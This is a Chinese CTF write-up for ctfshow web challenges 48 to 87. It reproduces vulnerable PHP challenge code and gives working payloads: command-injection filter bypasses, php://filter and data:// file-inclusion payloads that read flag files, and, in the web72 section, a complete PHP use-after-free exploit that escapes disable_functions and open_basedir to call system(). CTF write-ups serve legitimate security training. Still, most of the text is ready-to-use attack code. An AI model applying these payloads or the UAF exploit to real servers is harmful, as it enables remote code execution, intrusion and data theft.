ctfshow{2e100bbf-03eb-4936-8082-6fed00624a66}
# web48
命令执行,需要严格的过滤
<?php | |
/* | |
# -*- coding: utf-8 -*- | |
# @Author: h1xa | |
# @Date: 2020-09-05 20:49:30 | |
# @Last Modified by: h1xa | |
# @Last Modified time: 2020-09-05 22:06:20 | |
# @email: h1xa@ctfer.com | |
# @link: https://ctfer.com | |
*/ | |
if(isset($_GET['c'])){ | |
$c=$_GET['c']; | |
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`/i", $c)){ | |
system($c." >/dev/null 2>&1"); | |
} | |
}else{ | |
highlight_file(__FILE__); | |
} |
新过滤了sed、cut、awk、strings、od、curl、反单引号,挑没过滤掉的使用即可 | |
payload | |
?c=tac%09fl''ag.php|| | |
?c=nl<fl''ag.php|| |
ctfshow{bb63b5ff-950f-4f4a-823d-a278496c21da}
# web49
命令执行,需要严格的过滤
<?php | |
/* | |
# -*- coding: utf-8 -*- | |
# @Author: h1xa | |
# @Date: 2020-09-05 20:49:30 | |
# @Last Modified by: h1xa | |
# @Last Modified time: 2020-09-05 22:22:43 | |
# @email: h1xa@ctfer.com | |
# @link: https://ctfer.com | |
*/ | |
if(isset($_GET['c'])){ | |
$c=$_GET['c']; | |
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%/i", $c)){ | |
system($c." >/dev/null 2>&1"); | |
} | |
}else{ | |
highlight_file(__FILE__); | |
} |
新过滤了百分号,继续绕过即可
payload
?c=tac%09fl''ag.php||
?c=tac<fl''ag.php||
?c=nl<fl''ag.php||
?c=nl<fl''ag.php%0a
ctfshow{1a7f4a4b-a785-4223-b474-fa7387ca1bef}
# web50
命令执行,需要严格的过滤
<?php | |
/* | |
# -*- coding: utf-8 -*- | |
# @Author: h1xa | |
# @Date: 2020-09-05 20:49:30 | |
# @Last Modified by: h1xa | |
# @Last Modified time: 2020-09-05 22:32:47 | |
# @email: h1xa@ctfer.com | |
# @link: https://ctfer.com | |
*/ | |
if(isset($_GET['c'])){ | |
$c=$_GET['c']; | |
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){ | |
system($c." >/dev/null 2>&1"); | |
} | |
}else{ | |
highlight_file(__FILE__); | |
} |
新过滤\x26、\x09,%09被过滤掉了就用重定向符绕过即可 | |
注:<>和?同时使用不回显 所以用\代替? | |
payload | |
?c=tac<fl''ag.php|| | |
?c=nl<fl''ag.php|| | |
?c=tac<>fl\ag.php|| |
ctfshow{26b2154e-9d20-4af9-88b9-3c6cfe06e229}
# web51
命令执行,需要严格的过滤
<?php | |
/* | |
# -*- coding: utf-8 -*- | |
# @Author: h1xa | |
# @Date: 2020-09-05 20:49:30 | |
# @Last Modified by: h1xa | |
# @Last Modified time: 2020-09-05 22:42:52 | |
# @email: h1xa@ctfer.com | |
# @link: https://ctfer.com | |
*/ | |
if(isset($_GET['c'])){ | |
$c=$_GET['c']; | |
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){ | |
system($c." >/dev/null 2>&1"); | |
} | |
}else{ | |
highlight_file(__FILE__); | |
} |
新过滤掉了tac,nl绕过即可 | |
payload | |
?c=nl<fl\ag.php|| | |
?c=nl<fl''ag.php|| |
ctfshow{429fb4d3-1c93-4a1d-9c19-6c85db70409a}
# web52
命令执行,需要严格的过滤
<?php | |
/* | |
# -*- coding: utf-8 -*- | |
# @Author: h1xa | |
# @Date: 2020-09-05 20:49:30 | |
# @Last Modified by: h1xa | |
# @Last Modified time: 2020-09-05 22:50:30 | |
# @email: h1xa@ctfer.com | |
# @link: https://ctfer.com | |
*/ | |
if(isset($_GET['c'])){ | |
$c=$_GET['c']; | |
if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){ | |
system($c." >/dev/null 2>&1"); | |
} | |
}else{ | |
highlight_file(__FILE__); | |
} |
新过滤了<> | |
payload1: | |
?c=ls${IFS}/|| 检查根目录发现有flag文件 | |
?c=nl${IFS}/fl''ag|| | |
payload2: | |
?c=nl$IFS/fl''ag|| |
ctfshow{70c7c4b8-9cf2-4c77-8028-5633a799061c}
# web53
命令执行,需要严格的过滤
<?php | |
/* | |
# -*- coding: utf-8 -*- | |
# @Author: h1xa | |
# @Date: 2020-09-05 20:49:30 | |
# @Last Modified by: h1xa | |
# @Last Modified time: 2020-09-07 18:21:02 | |
# @email: h1xa@ctfer.com | |
# @link: https://ctfer.com | |
*/ | |
if(isset($_GET['c'])){ | |
$c=$_GET['c']; | |
if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|wget|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){ | |
echo($c); | |
$d = system($c); | |
echo "<br>".$d; | |
}else{ | |
echo 'no'; | |
} | |
}else{ | |
highlight_file(__FILE__); | |
} |
新添加回显打印 | |
payload: | |
?c=nl${IFS}fl''ag.php | |
?c=ca''t${IFS}fl''ag.php |
ctfshow{9a8e38e5-fbb1-4060-8025-6457dcb87d6e}
# web54
命令执行,需要严格的过滤
<?php | |
/* | |
# -*- coding: utf-8 -*- | |
# @Author: Lazzaro | |
# @Date: 2020-09-05 20:49:30 | |
# @Last Modified by: h1xa | |
# @Last Modified time: 2020-09-07 19:43:42 | |
# @email: h1xa@ctfer.com | |
# @link: https://ctfer.com | |
*/ | |
if(isset($_GET['c'])){ | |
$c=$_GET['c']; | |
if(!preg_match("/\;|.*c.*a.*t.*|.*f.*l.*a.*g.*| |[0-9]|\*|.*m.*o.*r.*e.*|.*w.*g.*e.*t.*|.*l.*e.*s.*s.*|.*h.*e.*a.*d.*|.*s.*o.*r.*t.*|.*t.*a.*i.*l.*|.*s.*e.*d.*|.*c.*u.*t.*|.*t.*a.*c.*|.*a.*w.*k.*|.*s.*t.*r.*i.*n.*g.*s.*|.*o.*d.*|.*c.*u.*r.*l.*|.*n.*l.*|.*s.*c.*p.*|.*r.*m.*|\`|\%|\x09|\x26|\>|\</i", $c)){ | |
system($c); | |
} | |
}else{ | |
highlight_file(__FILE__); | |
} |
换花样过滤,全员添加*号,新过滤了nl、scp、rm | |
payload1: | |
?c=uniq${IFS}????.??? // 用来去除文本文件中连续的重复行 | |
?c=grep${IFS}'{'${IFS}fl??.php // 在 fl??.php 匹配到的文件中,查找含有 {的文件,并打印出包含 {的这一行 | |
?c=/bin/?at${IFS}f??????? | |
payload2: | |
?c=ls // 先看 flag 文件名格式 | |
?c=mv${IFS}fla?.php${IFS}a.txt // 将 flag 文件改名成 a.txt | |
直接访问a.txt即可 |
ctfshow{4e47e814-2e5f-47a0-8b02-23d0fc5cc005}
# web55
命令执行,需要严格的过滤
<?php | |
/* | |
# -*- coding: utf-8 -*- | |
# @Author: Lazzaro | |
# @Date: 2020-09-05 20:49:30 | |
# @Last Modified by: h1xa | |
# @Last Modified time: 2020-09-07 20:03:51 | |
# @email: h1xa@ctfer.com | |
# @link: https://ctfer.com | |
*/ | |
// 你们在炫技吗? | |
if(isset($_GET['c'])){ | |
$c=$_GET['c']; | |
if(!preg_match("/\;|[a-z]|\`|\%|\x09|\x26|\>|\</i", $c)){ | |
system($c); | |
} | |
}else{ | |
highlight_file(__FILE__); | |
} |
过滤掉分号、a-z的字母、反单引号、百分号、%09、%26、<>
payload1:
?c=/???/????64 ????.??? //利用/bin文件下base64得到flag
payload2:
先构造 POST 方式上传数据包
<!DOCTYPE html> | |
<html lang="en"> | |
<head> | |
<meta charset="UTF-8"> | |
<meta name="viewport" content="width=device-width, initial-scale=1.0"> | |
<title>POST数据包POC</title> | |
</head> | |
<body> | |
<form action="http://d4b9ed05-26dc-46ee-8f55-957445c8022d.challenge.ctf.show/" method="post" enctype="multipart/form-data"> | |
<!-- 链接是当前打开的题目链接 --> | |
<label for="file">文件名:</label> | |
<input type="file" name="file" id="file"><br> | |
<input type="submit" name="submit" value="提交"> | |
</form> | |
</body> | |
</html> |
然后再上传 php 执行命令文件
#!/bin/sh | |
ls |
再抓包
ctfshow{6f8b48b6-9bc6-4c7e-b670-9dbf64a9c70f}
# web56
命令执行,需要严格的过滤
<?php | |
/* | |
# -*- coding: utf-8 -*- | |
# @Author: Lazzaro | |
# @Date: 2020-09-05 20:49:30 | |
# @Last Modified by: h1xa | |
# @Last Modified time: 2020-09-07 22:02:47 | |
# @email: h1xa@ctfer.com | |
# @link: https://ctfer.com | |
*/ | |
// 你们在炫技吗? | |
if(isset($_GET['c'])){ | |
$c=$_GET['c']; | |
if(!preg_match("/\;|[a-z]|[0-9]|\\$|\(|\{|\'|\"|\`|\%|\x09|\x26|\>|\</i", $c)){ | |
system($c); | |
} | |
}else{ | |
highlight_file(__FILE__); | |
} |
过滤掉了数字 | |
同web55无字母数字的命令执行 | |
payload | |
?c=.%20/???/????????[@-[] |
ctfshow{63b5cec7-6d15-42b6-bee2-fca53ac2e070}
# web57
命令执行,需要严格的过滤,已测试,可绕
<?php | |
/* | |
# -*- coding: utf-8 -*- | |
# @Author: h1xa | |
# @Date: 2020-09-05 20:49:30 | |
# @Last Modified by: h1xa | |
# @Last Modified time: 2020-09-08 01:02:56 | |
# @email: h1xa@ctfer.com | |
# @link: https://ctfer.com | |
*/ | |
// 还能炫的动吗? | |
//flag in 36.php | |
if(isset($_GET['c'])){ | |
$c=$_GET['c']; | |
if(!preg_match("/\;|[a-z]|[0-9]|\`|\|\#|\'|\"|\`|\%|\x09|\x26|\x0a|\>|\<|\.|\,|\?|\*|\-|\=|\[/i", $c)){ | |
system("cat ".$c.".php"); | |
} | |
}else{ | |
highlight_file(__FILE__); | |
} |
过滤了字母、数字、分号、2个通配符 | |
双小括号 (( )) 是 Bash Shell 中专门用来进行整数运算的命令,它的效率很高,写法灵活,是企业运维中常用的运算命令。 通俗地讲,就是将数学运算表达式放在((和))之间。 表达式可以只有一个,也可以有多个,多个表达式之间以逗号,分隔。对于多个表达式的情况,以最后一个表达式的值作为整个 (( ))命令的执行结果。 可以使用$获取 (( )) 命令的结果,这和使用$获得变量值是类似的。 可以在 (( )) 前面加上$符号获取 (( )) 命令的执行结果,也即获取整个表达式的值。以 c=$((a+b)) 为例,即将 a+b 这个表达式的运算结果赋值给变量 c。 注意,类似 c=((a+b)) 这样的写法是错误的,不加$就不能取得表达式的结果。 | |
echo ${_} ="" // 返回上一次命令 | |
echo $(()) //=0 | |
//~ 取反 | |
echo $((~$(()))) //=-1 | |
echo $(($((~$(())))$((~$(()))))) //=-2 | |
以此类推得到payload | |
?c=$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(()))))))) |
ctfshow{e05e5667-84e6-46a7-a067-f04e7668ec7c}
# web58
命令执行,突破禁用函数
<?php | |
/* | |
# -*- coding: utf-8 -*- | |
# @Author: Lazzaro | |
# @Date: 2020-09-05 20:49:30 | |
# @Last Modified by: h1xa | |
# @Last Modified time: 2020-09-07 22:02:47 | |
# @email: h1xa@ctfer.com | |
# @link: https://ctfer.com | |
*/ | |
// 你们在炫技吗? | |
if(isset($_POST['c'])){ | |
$c= $_POST['c']; | |
eval($c); | |
}else{ | |
highlight_file(__FILE__); | |
} |
各种命令执行函数都禁用了,新知识file_get_contents()
payload:
c=show_source('flag.php');
payload2:
c=echo file_get_contents('flag.php');
ctfshow{4238bd73-196d-48b9-862e-a69c6d0fa3e6}
# web59
命令执行,突破禁用函数
<?php | |
/* | |
# -*- coding: utf-8 -*- | |
# @Author: Lazzaro | |
# @Date: 2020-09-05 20:49:30 | |
# @Last Modified by: h1xa | |
# @Last Modified time: 2020-09-07 22:02:47 | |
# @email: h1xa@ctfer.com | |
# @link: https://ctfer.com | |
*/ | |
// 你们在炫技吗? | |
if(isset($_POST['c'])){ | |
$c= $_POST['c']; | |
eval($c); | |
}else{ | |
highlight_file(__FILE__); | |
} |
这次禁用了file_get_contents(),但学到新知识include包含
payload:
c=show_source('flag.php');
payload2:
post:c=include($_GET[1]);
?1=php://filter/read=convert.base64-encode/resource=flag.php
ctfshow{4d87fe96-9642-49b8-b744-e4c7dab09324}
# web60
命令执行,突破禁用函数
<?php | |
/* | |
# -*- coding: utf-8 -*- | |
# @Author: Lazzaro | |
# @Date: 2020-09-05 20:49:30 | |
# @Last Modified by: h1xa | |
# @Last Modified time: 2020-09-07 22:02:47 | |
# @email: h1xa@ctfer.com | |
# @link: https://ctfer.com | |
*/ | |
// 你们在炫技吗? | |
if(isset($_POST['c'])){ | |
$c= $_POST['c']; | |
eval($c); | |
}else{ | |
highlight_file(__FILE__); | |
} |
学到新知识,higtlight_file()
payload:
post:c=include($_GET[1]);
?1=php://filter/read=convert.base64-encode/resource=flag.php
payload2:
c=show_source('flag.php');
payload3:
c=highlight_file('flag.php');
ctfshow{f9f2fb7a-81ac-4957-ad1f-854be96f722c}
# web61
命令执行,突破禁用函数
<?php | |
/* | |
# -*- coding: utf-8 -*- | |
# @Author: Lazzaro | |
# @Date: 2020-09-05 20:49:30 | |
# @Last Modified by: h1xa | |
# @Last Modified time: 2020-09-07 22:02:47 | |
# @email: h1xa@ctfer.com | |
# @link: https://ctfer.com | |
*/ | |
// 你们在炫技吗? | |
if(isset($_POST['c'])){ | |
$c= $_POST['c']; | |
eval($c); | |
}else{ | |
highlight_file(__FILE__); | |
} |
payload:
c=show_source('flag.php');
payload2:
c=highlight_file('flag.php');
ctfshow{2b6eea44-6add-4cce-b493-5ebe63984a61}
# web62
命令执行,突破禁用函数
<?php | |
/* | |
# -*- coding: utf-8 -*- | |
# @Author: Lazzaro | |
# @Date: 2020-09-05 20:49:30 | |
# @Last Modified by: h1xa | |
# @Last Modified time: 2020-09-07 22:02:47 | |
# @email: h1xa@ctfer.com | |
# @link: https://ctfer.com | |
*/ | |
// 你们在炫技吗? | |
if(isset($_POST['c'])){ | |
$c= $_POST['c']; | |
eval($c); | |
}else{ | |
highlight_file(__FILE__); | |
} |
payload:
c=include('flag.php');echo $flag;
ctfshow{9a7803c3-0788-40fd-8f01-fe77533d832c}
# web63
命令执行,突破禁用函数
<?php | |
/* | |
# -*- coding: utf-8 -*- | |
# @Author: Lazzaro | |
# @Date: 2020-09-05 20:49:30 | |
# @Last Modified by: h1xa | |
# @Last Modified time: 2020-09-07 22:02:47 | |
# @email: h1xa@ctfer.com | |
# @link: https://ctfer.com | |
*/ | |
// 你们在炫技吗? | |
if(isset($_POST['c'])){ | |
$c= $_POST['c']; | |
eval($c); | |
}else{ | |
highlight_file(__FILE__); | |
} |
新知识var_dump(get_defined_vars()) //获取所有注册变量
payload:
c=include('flag.php');var_dump(get_defined_vars());
ctfshow{50fc64f3-422d-4eb5-a4fb-9a6be342966e}
# web64
命令执行,突破禁用函数,真的是 秀不过你们
<?php | |
/* | |
# -*- coding: utf-8 -*- | |
# @Author: Lazzaro | |
# @Date: 2020-09-05 20:49:30 | |
# @Last Modified by: h1xa | |
# @Last Modified time: 2020-09-07 22:02:47 | |
# @email: h1xa@ctfer.com | |
# @link: https://ctfer.com | |
*/ | |
// 你们在炫技吗? | |
if(isset($_POST['c'])){ | |
$c= $_POST['c']; | |
eval($c); | |
}else{ | |
highlight_file(__FILE__); | |
} |
payload:
c=include('flag.php');var_dump(get_defined_vars());
payload2:
c=highlight_file('flag.php');
payload3:
c=show_source('flag.php');
ctfshow{ba1dc4b3-3df1-4349-aec2-42f8b948ce91}
# web65
命令执行,突破禁用函数,求你们别秀了
<?php | |
/* | |
# -*- coding: utf-8 -*- | |
# @Author: Lazzaro | |
# @Date: 2020-09-05 20:49:30 | |
# @Last Modified by: h1xa | |
# @Last Modified time: 2020-09-07 22:02:47 | |
# @email: h1xa@ctfer.com | |
# @link: https://ctfer.com | |
*/ | |
// 你们在炫技吗? | |
if(isset($_POST['c'])){ | |
$c= $_POST['c']; | |
eval($c); | |
}else{ | |
highlight_file(__FILE__); | |
} |
同上白嫖payload
ctfshow{f07b04e9-ec66-475a-adaa-dcb71a4ee326}
# web66
命令执行,突破禁用函数,求你们别秀了
<?php | |
/* | |
# -*- coding: utf-8 -*- | |
# @Author: Lazzaro | |
# @Date: 2020-09-05 20:49:30 | |
# @Last Modified by: h1xa | |
# @Last Modified time: 2020-09-07 22:02:47 | |
# @email: h1xa@ctfer.com | |
# @link: https://ctfer.com | |
*/ | |
// 你们在炫技吗? | |
if(isset($_POST['c'])){ | |
$c= $_POST['c']; | |
eval($c); | |
}else{ | |
highlight_file(__FILE__); | |
} |
新过滤了show_source()函数。
这时我们用highlight_file()函数查看,发现可能flag不在这个位置,print_r(scandir('.'))查看flag有没有改名,再查看一下根目录,发现有个flag.txt查看记得得到flag
payload
c=highlight_file('/flag.txt');
ctfshow{10798615-2191-4957-89d5-336c633d6d3c}
# web67
<?php | |
/* | |
# -*- coding: utf-8 -*- | |
# @Author: Lazzaro | |
# @Date: 2020-09-05 20:49:30 | |
# @Last Modified by: h1xa | |
# @Last Modified time: 2020-09-07 22:02:47 | |
# @email: h1xa@ctfer.com | |
# @link: https://ctfer.com | |
*/ | |
// 你们在炫技吗? | |
if(isset($_POST['c'])){ | |
$c= $_POST['c']; | |
eval($c); | |
}else{ | |
highlight_file(__FILE__); | |
} |
过滤了print_r,题解跟上题一致,用var_dump()即可
payload:
c=highlight_file('/flag.txt');
ctfshow{623b27c5-a9ad-46dc-8d0c-3afb735cac76}
# web68
Warning: highlight_file() has been disabled for security reasons in /var/www/html/index.php(17) : eval()'d code on line 1 |
相当于highlight_file()被禁用了,但尝试后发现include和var_dump没有过滤
payload:
c=var_dump(scandir('/')); //发现flag.txt
c=include('/flag.txt'); //因为flag.txt没有php前缀,所以直接回显内容
ctfshow{64e1a348-7dd5-43a0-9f0e-922f00bc27a1}
# web69
禁用了 var_dump (),但 payload 和上题同解,问就是猜的
# web70
payload 和上题同解,问就是猜的
# web71
<?php | |
/* | |
# -*- coding: utf-8 -*- | |
# @Author: Lazzaro | |
# @Date: 2020-09-05 20:49:30 | |
# @Last Modified by: h1xa | |
# @Last Modified time: 2020-09-07 22:02:47 | |
# @email: h1xa@ctfer.com | |
# @link: https://ctfer.com | |
*/ | |
error_reporting(0); | |
ini_set('display_errors', 0); | |
// 你们在炫技吗? | |
if(isset($_POST['c'])){ | |
$c= $_POST['c']; | |
eval($c); | |
$s = ob_get_contents(); | |
ob_end_clean(); | |
echo preg_replace("/[0-9]|[a-z]/i","?",$s); | |
}else{ | |
highlight_file(__FILE__); | |
} | |
?> | |
你要上天吗? |
解题思路:
eval()已经执行然后讲结果替换成问号,那我们就在eval执行完后结束程序
payload:
c=include('/flag.txt');exit();
ctfshow{2e525fc3-7391-4395-a9d4-45ce5f0a91c1}
# web72
<?php | |
/* | |
# -*- coding: utf-8 -*- | |
# @Author: Lazzaro | |
# @Date: 2020-09-05 20:49:30 | |
# @Last Modified by: h1xa | |
# @Last Modified time: 2020-09-07 22:02:47 | |
# @email: h1xa@ctfer.com | |
# @link: https://ctfer.com | |
*/ | |
error_reporting(0); | |
ini_set('display_errors', 0); | |
// 你们在炫技吗? | |
if(isset($_POST['c'])){ | |
$c= $_POST['c']; | |
eval($c); | |
$s = ob_get_contents(); | |
ob_end_clean(); | |
echo preg_replace("/[0-9]|[a-z]/i","?",$s); | |
}else{ | |
highlight_file(__FILE__); | |
} | |
?> | |
你要上天吗? |
存在open_basedir,利用glob伪协议在筛选目录时不受open_basedir制约
// 此脚本获取文件名 | |
c= | |
$a=new DirectoryIterator("glob:///*"); | |
foreach($a as $f){ | |
echo $f." " ; | |
} | |
exit(); |
// 此脚本绕过 open_basedir 和 disable_functions,URL 编码得到结果 | |
function ctfshow($cmd) { | |
global $abc, $helper, $backtrace; | |
class Vuln { | |
public $a; | |
public function __destruct() { | |
global $backtrace; | |
unset($this->a); | |
$backtrace = (new Exception)->getTrace(); | |
if(!isset($backtrace[1]['args'])) { | |
$backtrace = debug_backtrace(); | |
} | |
} | |
} | |
class Helper { | |
public $a, $b, $c, $d; | |
} | |
function str2ptr(&$str, $p = 0, $s = 8) { | |
$address = 0; | |
for($j = $s-1; $j >= 0; $j--) { | |
$address <<= 8; | |
$address |= ord($str[$p+$j]); | |
} | |
return $address; | |
} | |
function ptr2str($ptr, $m = 8) { | |
$out = ""; | |
for ($i=0; $i < $m; $i++) { | |
$out .= sprintf("%c",($ptr & 0xff)); | |
$ptr >>= 8; | |
} | |
return $out; | |
} | |
function write(&$str, $p, $v, $n = 8) { | |
$i = 0; | |
for($i = 0; $i < $n; $i++) { | |
$str[$p + $i] = sprintf("%c",($v & 0xff)); | |
$v >>= 8; | |
} | |
} | |
function leak($addr, $p = 0, $s = 8) { | |
global $abc, $helper; | |
write($abc, 0x68, $addr + $p - 0x10); | |
$leak = strlen($helper->a); | |
if($s != 8) { $leak %= 2 << ($s * 8) - 1; } | |
return $leak; | |
} | |
function parse_elf($base) { | |
$e_type = leak($base, 0x10, 2); | |
$e_phoff = leak($base, 0x20); | |
$e_phentsize = leak($base, 0x36, 2); | |
$e_phnum = leak($base, 0x38, 2); | |
for($i = 0; $i < $e_phnum; $i++) { | |
$header = $base + $e_phoff + $i * $e_phentsize; | |
$p_type = leak($header, 0, 4); | |
$p_flags = leak($header, 4, 4); | |
$p_vaddr = leak($header, 0x10); | |
$p_memsz = leak($header, 0x28); | |
if($p_type == 1 && $p_flags == 6) { | |
$data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr; | |
$data_size = $p_memsz; | |
} else if($p_type == 1 && $p_flags == 5) { | |
$text_size = $p_memsz; | |
} | |
} | |
if(!$data_addr || !$text_size || !$data_size) | |
return false; | |
return [$data_addr, $text_size, $data_size]; | |
} | |
function get_basic_funcs($base, $elf) { | |
list($data_addr, $text_size, $data_size) = $elf; | |
for($i = 0; $i < $data_size / 8; $i++) { | |
$leak = leak($data_addr, $i * 8); | |
if($leak - $base > 0 && $leak - $base < $data_addr - $base) { | |
$deref = leak($leak); | |
if($deref != 0x746e6174736e6f63) | |
continue; | |
} else continue; | |
$leak = leak($data_addr, ($i + 4) * 8); | |
if($leak - $base > 0 && $leak - $base < $data_addr - $base) { | |
$deref = leak($leak); | |
if($deref != 0x786568326e6962) | |
continue; | |
} else continue; | |
return $data_addr + $i * 8; | |
} | |
} | |
function get_binary_base($binary_leak) { | |
$base = 0; | |
$start = $binary_leak & 0xfffffffffffff000; | |
for($i = 0; $i < 0x1000; $i++) { | |
$addr = $start - 0x1000 * $i; | |
$leak = leak($addr, 0, 7); | |
if($leak == 0x10102464c457f) { | |
return $addr; | |
} | |
} | |
} | |
function get_system($basic_funcs) { | |
$addr = $basic_funcs; | |
do { | |
$f_entry = leak($addr); | |
$f_name = leak($f_entry, 0, 6); | |
if($f_name == 0x6d6574737973) { | |
return leak($addr + 8); | |
} | |
$addr += 0x20; | |
} while($f_entry != 0); | |
return false; | |
} | |
function trigger_uaf($arg) { | |
$arg = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'); | |
$vuln = new Vuln(); | |
$vuln->a = $arg; | |
} | |
if(stristr(PHP_OS, 'WIN')) { | |
die('This PoC is for *nix systems only.'); | |
} | |
$n_alloc = 10; | |
$contiguous = []; | |
for($i = 0; $i < $n_alloc; $i++) | |
$contiguous[] = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'); | |
trigger_uaf('x'); | |
$abc = $backtrace[1]['args'][0]; | |
$helper = new Helper; | |
$helper->b = function ($x) { }; | |
if(strlen($abc) == 79 || strlen($abc) == 0) { | |
die("UAF failed"); | |
} | |
$closure_handlers = str2ptr($abc, 0); | |
$php_heap = str2ptr($abc, 0x58); | |
$abc_addr = $php_heap - 0xc8; | |
write($abc, 0x60, 2); | |
write($abc, 0x70, 6); | |
write($abc, 0x10, $abc_addr + 0x60); | |
write($abc, 0x18, 0xa); | |
$closure_obj = str2ptr($abc, 0x20); | |
$binary_leak = leak($closure_handlers, 8); | |
if(!($base = get_binary_base($binary_leak))) { | |
die("Couldn't determine binary base address"); | |
} | |
if(!($elf = parse_elf($base))) { | |
die("Couldn't parse ELF header"); | |
} | |
if(!($basic_funcs = get_basic_funcs($base, $elf))) { | |
die("Couldn't get basic_functions address"); | |
} | |
if(!($zif_system = get_system($basic_funcs))) { | |
die("Couldn't get zif_system address"); | |
} | |
$fake_obj_offset = 0xd0; | |
for($i = 0; $i < 0x110; $i += 8) { | |
write($abc, $fake_obj_offset + $i, leak($closure_obj, $i)); | |
} | |
write($abc, 0x20, $abc_addr + $fake_obj_offset); | |
write($abc, 0xd0 + 0x38, 1, 4); | |
write($abc, 0xd0 + 0x68, $zif_system); | |
($helper->b)($cmd); | |
exit(); | |
} | |
ctfshow("cat /flag0.txt");ob_end_flush(); | |
?> |
ctfshow{434f032d-5f1b-451a-9c5c-b090d734d653}
# web73
新知识var_export()
payload:
c=var_export(scandir('/'));exit();
c=include('/flagc.txt');
ctfshow{48365bc1-67eb-479a-9f3e-55675d4d9b89}
# web74
止步于此
# 文件包含
# web78
文件包含系列开始
<?php | |
/* | |
# -*- coding: utf-8 -*- | |
# @Author: h1xa | |
# @Date: 2020-09-16 10:52:43 | |
# @Last Modified by: h1xa | |
# @Last Modified time: 2020-09-16 10:54:20 | |
# @email: h1xa@ctfer.com | |
# @link: https://ctfer.com | |
*/ | |
if(isset($_GET['file'])){ | |
$file = $_GET['file']; | |
include($file); | |
}else{ | |
highlight_file(__FILE__); | |
} |
payload:
?file=php://filter/read=convert.base64-encode/resource=flag.php
ctfshow{9af9735a-bd46-4605-ac75-b394be6da3cd}
# web79
文件包含系列开始
<?php | |
/* | |
# -*- coding: utf-8 -*- | |
# @Author: h1xa | |
# @Date: 2020-09-16 11:10:14 | |
# @Last Modified by: h1xa | |
# @Last Modified time: 2020-09-16 11:12:38 | |
# @email: h1xa@ctfer.com | |
# @link: https://ctfer.com | |
*/ | |
if(isset($_GET['file'])){ | |
$file = $_GET['file']; | |
$file = str_replace("php", "???", $file); | |
include($file); | |
}else{ | |
highlight_file(__FILE__); | |
} |
将php替换成???,data://伪协议绕过即可
payload:
?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs=
PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs= //<?php system('cat flag');
ctfshow{5d32ac0e-6caf-4f29-8b9c-1f18d2984b65}
# web80
<?php | |
/* | |
# -*- coding: utf-8 -*- | |
# @Author: h1xa | |
# @Date: 2020-09-16 11:25:09 | |
# @Last Modified by: h1xa | |
# @Last Modified time: 2020-09-16 11:26:29 | |
# @email: h1xa@ctfer.com | |
# @link: https://ctfer.com | |
*/ | |
if(isset($_GET['file'])){ | |
$file = $_GET['file']; | |
$file = str_replace("php", "???", $file); | |
$file = str_replace("data", "???", $file); | |
include($file); | |
}else{ | |
highlight_file(__FILE__); | |
} |
日志包含注入漏洞即可
ctfshow{4cdc8e27-0c24-4173-840c-223a72d9fd74}
# web81
<?php | |
/* | |
# -*- coding: utf-8 -*- | |
# @Author: h1xa | |
# @Date: 2020-09-16 11:25:09 | |
# @Last Modified by: h1xa | |
# @Last Modified time: 2020-09-16 15:51:31 | |
# @email: h1xa@ctfer.com | |
# @link: https://ctfer.com | |
*/ | |
if(isset($_GET['file'])){ | |
$file = $_GET['file']; | |
$file = str_replace("php", "???", $file); | |
$file = str_replace("data", "???", $file); | |
$file = str_replace(":", "???", $file); | |
include($file); | |
}else{ | |
highlight_file(__FILE__); | |
} |
同日志包含注入即可
ctfshow{974ebae8-9353-4c02-b82b-5b3893384219}
# web82
<?php | |
/* | |
# -*- coding: utf-8 -*- | |
# @Author: h1xa | |
# @Date: 2020-09-16 11:25:09 | |
# @Last Modified by: h1xa | |
# @Last Modified time: 2020-09-16 19:34:45 | |
# @email: h1xa@ctfer.com | |
# @link: https://ctfer.com | |
*/ | |
if(isset($_GET['file'])){ | |
$file = $_GET['file']; | |
$file = str_replace("php", "???", $file); | |
$file = str_replace("data", "???", $file); | |
$file = str_replace(":", "???", $file); | |
$file = str_replace(".", "???", $file); | |
include($file); | |
}else{ | |
highlight_file(__FILE__); | |
} |
# web87
<?php | |
/* | |
# -*- coding: utf-8 -*- | |
# @Author: h1xa | |
# @Date: 2020-09-16 11:25:09 | |
# @Last Modified by: h1xa | |
# @Last Modified time: 2020-09-16 21:57:55 | |
# @email: h1xa@ctfer.com | |
# @link: https://ctfer.com | |
*/ | |
if(isset($_GET['file'])){ | |
$file = $_GET['file']; | |
$content = $_POST['content']; | |
$file = str_replace("php", "???", $file); | |
$file = str_replace("data", "???", $file); | |
$file = str_replace(":", "???", $file); | |
$file = str_replace(".", "???", $file); | |
file_put_contents(urldecode($file), "<?php die('大佬别秀了');?>".$content); | |
}else{ | |
highlight_file(__FILE__); | |
} |
这里他改变了形式,成写入,绕过过滤写入个文件即可
